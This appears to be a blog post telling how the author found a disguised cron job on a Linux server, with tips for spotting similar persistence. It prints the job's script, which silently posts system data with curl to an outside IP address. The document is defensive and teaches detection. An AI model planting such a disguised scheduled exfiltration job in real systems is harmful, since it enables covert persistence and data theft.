The Cron Job That Looked Legit — But Ran Every 7 Minutes

*/7 * * * * /usr/local/bin/system-check.sh

That line shouldn’t have been there.

Not because it looked malicious.

Because it looked normal.

Most cron jobs follow patterns.

Every 5 minutes. Every hour. Once a day.

Predictable. Easy to explain.

This one ran every 7 minutes.

That was the only thing on the server that didn’t make sense.

I wasn’t responding to an alert.

No ticket. No incident.

Just doing a quick check before moving on.

First thing I did:

crontab -l

Everything else looked fine.

Backups. Log rotation. A couple of maintenance scripts.

Then that one line.

The name didn’t help.

system-check.sh

Clean. Generic. Easy to trust.

I checked the file:

ls -la /usr/local/bin/system-check.sh

• Owned by root
• Executable
• Recently modified

That last part didn’t match the rest of the system.

So I opened it:

# basic system info
df -h > /tmp/disk_check.log
uptime >> /tmp/disk_check.log

# send result
curl -s http://198.51.100.23/report -d @/tmp/disk_check.log > /dev/null 2>&1

At first, it looked harmless.

Disk checks. System info.

Then one quiet line:

A curl command.

No output. No logs. Just sending data out.

That’s when it clicked.

This wasn’t a system check.

It was a scheduled outbound call.

Every 7 minutes.

No alerts triggered.

Because nothing “broke.”

No failed logins. No CPU spikes. No crashes.

Just a trusted process… doing exactly what it was told.

I checked the rest:

ls -la /etc/cron*

Nothing else stood out.

No duplicate entries. No obvious persistence tricks.

Just this one job.

Quiet. Consistent. Easy to ignore.

I removed the cron entry.

Deleted the script.

Then started digging:

• outbound connections
• recent file changes
• shell history

Because the cron job wasn’t the root problem.

It was just the part I noticed.

Something put it there.

And that’s what matters.

Since then, I don’t just scan cron jobs.

I look for:

• timing that doesn’t fit
• scripts that feel too generic
• changes that don’t match activity

Because attackers don’t always hide in complex setups.

Sometimes they hide in things that look completely normal.

Next time you run:

crontab -l

Don’t just read it.

Ask one question:

Does everything here actually make sense?

If you ever want a quick second set of eyes on a system that “looks fine” but feels off, I usually start with a simple baseline snapshot and work from there.

You can also run something like this yourself:

• Linux Blindspot Report (quick system snapshot): https://ko-fi.com/s/288adc543e
• Or if you want to lock down SSH exposure early: Free SSH Hardening Checklist (Email Required): https://subscribepage.io/6lso1l

👏 Before you go

If this helped, clap and follow for more real-world Linux security stories.

If you’re into subtle signals most people miss, follow NextGenThreat — I’m building a full collection there: https://medium.com/nextgenthreat

📲 Connect with me: 🔗 LinkedIn: https://www.linkedin.com/in/bornaly/ 🐦 X: https://x.com/cyberwebpen 💬 Discord: https://discord.gg/FkjR2WFs 📘 Facebook: https://www.facebook.com/nextgenthreat